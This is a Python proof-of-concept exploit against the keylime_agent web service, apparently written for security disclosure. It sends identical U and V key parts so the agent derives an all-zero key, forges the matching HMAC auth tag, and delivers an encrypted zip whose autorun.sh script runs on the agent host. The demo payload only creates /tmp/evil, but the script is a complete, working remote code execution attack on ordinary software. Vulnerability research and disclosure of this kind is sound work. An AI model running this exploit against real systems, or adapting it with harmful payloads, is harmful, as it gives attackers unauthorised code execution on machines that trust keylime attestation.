#!/usr/bin/python3
#
# Author: Matthias Gerstner
#
# All of this source code is licensed under:
#
# ISC License
#
# Copyright (c) 2021, SUSE LLC
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import argparse
import base64
import hashlib
import hmac
import json
import sys
from urllib.request import urlopen

from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.backends import default_backend
import cryptography.hazmat.primitives.asymmetric.padding

cliparser = argparse.ArgumentParser()
cliparser.add_argument("--uuid", type=str, help="UUID of the target Agent", required=True)
cliparser.add_argument("--host", type=str, help="hostname where to reach the keylime_agent web server", required=True)
cliparser.add_argument("-p", "--port", type=int, default=9002, help="Port where to contact the keylime_agent web server on --host")
cliargs = cliparser.parse_args()


AGENT_URI = f"http://{cliargs.host}:{cliargs.port}"
API_VERSION = 500


def getURI(pars):
    ret = f"{AGENT_URI}/?api_version={API_VERSION}"

    for k, v in pars.items():
        ret += f"&{k}={v}"

    return ret

def strbitxor(a, b):
    a = bytearray(a)
    b = bytearray(b)
    retval = bytearray(len(b))
    for i, _ in enumerate(a):
        retval[i] = a[i] ^ b[i]
    return bytes(retval)

def postJSON(uri, _json):
    print("POST", uri)
    print(_json)
    r = urlopen(uri, _json.encode())
    res = r.read()
    res = json.loads(res)
    if res["code"] != 200:
        raise Exception("POST failed: {}".format(str(res)))
    print("POST succeeded")

def createZipPayload(script):
    import zipfile
    from io import BytesIO

    memfile = BytesIO()
    with zipfile.ZipFile(memfile, 'w') as zf:
        # autorun.sh is the default filename for a script to be immediately
        # executed
        zf.writestr("autorun.sh", script)

    return memfile.getvalue()

def encryptPayload(payload, key):
    # this is based on keylime/crypto.py
    AES_BLOCK_SIZE = 16
    # "random" IV
    iv = AES_BLOCK_SIZE * 'a'
    iv = iv.encode()
    encryptor = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend()).encryptor()
    cipher_text = encryptor.update(payload) + encryptor.finalize()
    return iv + cipher_text + encryptor.tag

# first retrieve the agent's public key which is used for encryption of the
# two U and V key parts in the later POST request
r = urlopen(getURI({"keys": "pubkey"}))
json_res = r.read().decode('utf8')
res = json.loads(json_res)
res = res.get("results", {})
pubkey = res.get("pubkey", None)

if not pubkey:
    print("Failed to get public key. JSON:", json_res)
    sys.exit(1)

pubkey = serialization.load_pem_public_key(pubkey.encode())

# it's more or less irrelevant which kind of key we offer here, when we send
# the same data for the U and V parts then the XOR of both will result in zero
# bytes
# we need 256 bits to act as a key for AES-GCM
plain_key = b"abcdefgh" * 4

# encrypt the plain key using the RSA public key of the agent
enc_key = pubkey.encrypt(
    plain_key,
    cryptography.hazmat.primitives.asymmetric.padding.OAEP(
        mgf=cryptography.hazmat.primitives.asymmetric.padding.MGF1(algorithm=hashes.SHA1()),
        algorithm=hashes.SHA1(),
        label=None
    )
)

# this will be the complete derived key that the agent calculates from the U
# and V parts
derived_key = strbitxor(plain_key, plain_key)
print("DERIVED:", derived_key)

# the auth_tag needs to match the HMAC of the agent's UUID based on the
# derived_key
h = hmac.new(derived_key, msg=None, digestmod=hashlib.sha384)
h.update(cliargs.uuid.encode('utf8'))
hx = h.hexdigest()

print("UUID HMAC:", hx)

script = """#!/bin/bash
touch /tmp/evil
"""

zipfile = createZipPayload(script)
payload = encryptPayload(zipfile, derived_key)

json_post = f'''{{
    "encrypted_key": "{base64.b64encode(enc_key).decode()}",
    "auth_tag": "{hx}",
    "payload": "{base64.b64encode(payload).decode()}"
}}'''

# feed both key parts to the agent
for key_type in ("ukey", "vkey"):
    uri = getURI({"keys": key_type})
    postJSON(uri, json_post)

print("If all worked out then the agent host should now have a /tmp/evil file")